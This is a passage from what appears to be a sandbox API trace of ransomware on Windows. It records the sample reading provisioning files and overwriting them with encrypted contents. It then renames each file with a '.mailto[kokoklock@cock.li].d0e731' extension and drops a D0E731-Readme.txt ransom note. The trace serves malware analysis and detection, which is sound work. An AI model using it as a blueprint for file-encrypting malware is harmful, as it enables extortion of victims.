0x20 [0087.004] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.004] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\149__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.004] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2ea3fc04 | out: lpFileSize=0x2ea3fc04*=719) returned 1 [0087.004] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.004] ReadFile (in: hFile=0x3d0, lpBuffer=0x2ea3fbd8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ea3fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2ea3fbd8*, lpNumberOfBytesRead=0x2ea3fbd4*=0x4, lpOverlapped=0x0) returned 1 [0087.005] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.005] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55de000 [0087.005] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddf88 [0087.005] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddfb0 [0087.005] NtQuerySystemTime (in: CurrentTime=0x2ea3fbb0 | out: CurrentTime=0x2ea3fbb0*=132121176448985171) returned 0x0 [0087.005] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x4b2a880e [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x1c188323 [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x3293e130 [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x8ad36d59 [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x170b0f5a [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0xdcc8ed53 [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x6a942b19 [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x40946368 [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x7a68684f [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0xb3733bdc [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x1519215b [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0xf8d70ba7 [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0xc18f74b1 [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0xace25914 [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x7465968c [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x303a62c2 [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x2983075f [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x962c3f9e [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x723b6874 [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x9861a116 [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x945914e9 [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0xffc80275 [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x4d2d640c [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0xcf3c726f [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0xb8c1d4bf [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x213050a4 [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x206d83b [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0xfba4bd8a [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0xa558041 [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0xa7ea2236 [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x469a7035 [0087.006] RtlRandom (in: Seed=0x2ea3fbbc | out: Seed=0x2ea3fbbc) returned 0x758797b9 [0087.017] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x2ea3fbb0, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2ea3fbb0*=0x2cf, lpOverlapped=0x0) returned 1 [0087.017] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ea3fb78 | out: lpNewFilePointer=0x0) returned 1 [0087.017] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2cf, lpNumberOfBytesWritten=0x2ea3fbac, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2ea3fbac*=0x2cf, lpOverlapped=0x0) returned 1 [0087.017] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55de000 [0087.017] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc1b0 [0087.017] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1b0) returned 1 [0087.017] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ea3fba8, lpOverlapped=0x0 | out: lpBuffer=0x55de000*, lpNumberOfBytesWritten=0x2ea3fba8*=0x20, lpOverlapped=0x0) returned 1 [0087.017] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de000) returned 1 [0087.017] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.017] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.017] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.017] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.017] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc570*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2ea3fbd4, lpOverlapped=0x0 | out: lpBuffer=0x55dc570*, lpNumberOfBytesWritten=0x2ea3fbd4*=0x8, lpOverlapped=0x0) returned 1 [0087.017] WriteFile (in: hFile=0x3d0, lpBuffer=0x2ea3fbec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ea3fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2ea3fbec*, lpNumberOfBytesWritten=0x2ea3fbd4*=0x4, lpOverlapped=0x0) returned 1 [0087.018] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ea3fbd4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2ea3fbd4*=0x4, lpOverlapped=0x0) returned 1 [0087.018] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2ea3fbd4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2ea3fbd4*=0x6c, lpOverlapped=0x0) returned 1 [0087.018] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddf88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ea3fbd4, lpOverlapped=0x0 | out: lpBuffer=0x55ddf88*, lpNumberOfBytesWritten=0x2ea3fbd4*=0x20, lpOverlapped=0x0) returned 1 [0087.018] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ea3fbd4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2ea3fbd4*=0x4, lpOverlapped=0x0) returned 1 [0087.018] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf88) returned 1 [0087.018] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddfd8) returned 1 [0087.018] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc570) returned 1 [0087.018] CloseHandle (hObject=0x3d0) returned 1 [0087.018] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x17c) returned 0x33fc9c8 [0087.018] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" [0087.018] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.018] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\149__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\149__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.019] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.019] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.019] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.019] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.019] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.019] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.019] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.020] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.020] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3477af0) returned 1 [0087.020] RtlExitUserThread (Status=0x1) Thread: id = 1340 os_tid = 0x13a0 [0087.021] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\14__connections_cellular_optus (australia)_i5$(__mvid)@wap.provxml")) returned 0x20 [0087.021] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.021] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\14__connections_cellular_optus (australia)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.021] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2eabfa1c | out: lpFileSize=0x2eabfa1c*=715) returned 1 [0087.021] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.021] ReadFile (in: hFile=0x3d0, lpBuffer=0x2eabf9f0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2eabf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2eabf9f0*, lpNumberOfBytesRead=0x2eabf9ec*=0x4, lpOverlapped=0x0) returned 1 [0087.023] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.023] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2f0 [0087.023] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.023] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc458 [0087.023] NtQuerySystemTime (in: CurrentTime=0x2eabf9c8 | out: CurrentTime=0x2eabf9c8*=132121176449141392) returned 0x0 [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0x7bb3d535 [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0x8c4660c [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0x239ac07 [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0x9d997b73 [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0x8c5b3b63 [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0xc8b793a7 [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0x16fa1d83 [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0x8434f706 [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0xfa083e13 [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0x7f34188c [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0xf9330f65 [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0x1cb53695 [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0xe4feed3e [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0x704597c9 [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0x7493d6d5 [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0xd5dc7ecf [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0x213e5a00 [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0x7268ccc6 [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0x728284c5 [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0xa826da65 [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0x36376e4d [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0xfa90ccac [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0xade424cc [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0xc5079d15 [0087.023] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0x3ada8f98 [0087.024] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0x9d229431 [0087.024] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0x292a14c1 [0087.024] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0x9cf3ec72 [0087.024] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0xb76d085f [0087.024] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0xf0c0909a [0087.024] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0xa14a5161 [0087.024] RtlRandom (in: Seed=0x2eabf9d4 | out: Seed=0x2eabf9d4) returned 0x4e526992 [0087.034] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x2eabf9c8, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2eabf9c8*=0x2cb, lpOverlapped=0x0) returned 1 [0087.034] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eabf990 | out: lpNewFilePointer=0x0) returned 1 [0087.034] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2cb, lpNumberOfBytesWritten=0x2eabf9c4, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2eabf9c4*=0x2cb, lpOverlapped=0x0) returned 1 [0087.034] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc5c0 [0087.034] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc1b0 [0087.034] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1b0) returned 1 [0087.034] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc5c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2eabf9c0, lpOverlapped=0x0 | out: lpBuffer=0x55dc5c0*, lpNumberOfBytesWritten=0x2eabf9c0*=0x20, lpOverlapped=0x0) returned 1 [0087.035] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc5c0) returned 1 [0087.035] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.035] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.035] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.035] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.035] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc570*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2eabf9ec, lpOverlapped=0x0 | out: lpBuffer=0x55dc570*, lpNumberOfBytesWritten=0x2eabf9ec*=0x8, lpOverlapped=0x0) returned 1 [0087.035] WriteFile (in: hFile=0x3d0, lpBuffer=0x2eabfa04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2eabf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2eabfa04*, lpNumberOfBytesWritten=0x2eabf9ec*=0x4, lpOverlapped=0x0) returned 1 [0087.035] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2eabf9ec, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2eabf9ec*=0x4, lpOverlapped=0x0) returned 1 [0087.035] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2eabf9ec, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2eabf9ec*=0x6c, lpOverlapped=0x0) returned 1 [0087.035] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2eabf9ec, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2eabf9ec*=0x20, lpOverlapped=0x0) returned 1 [0087.035] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2eabf9ec, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2eabf9ec*=0x4, lpOverlapped=0x0) returned 1 [0087.035] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.035] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.035] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc570) returned 1 [0087.035] CloseHandle (hObject=0x3d0) returned 1 [0087.036] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x184) returned 0x33fc9c8 [0087.036] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml" [0087.036] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.036] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\14__connections_cellular_optus (australia)_i5$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\14__connections_cellular_optus (australia)_i5$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.036] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.037] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.037] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.037] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.037] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.037] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All 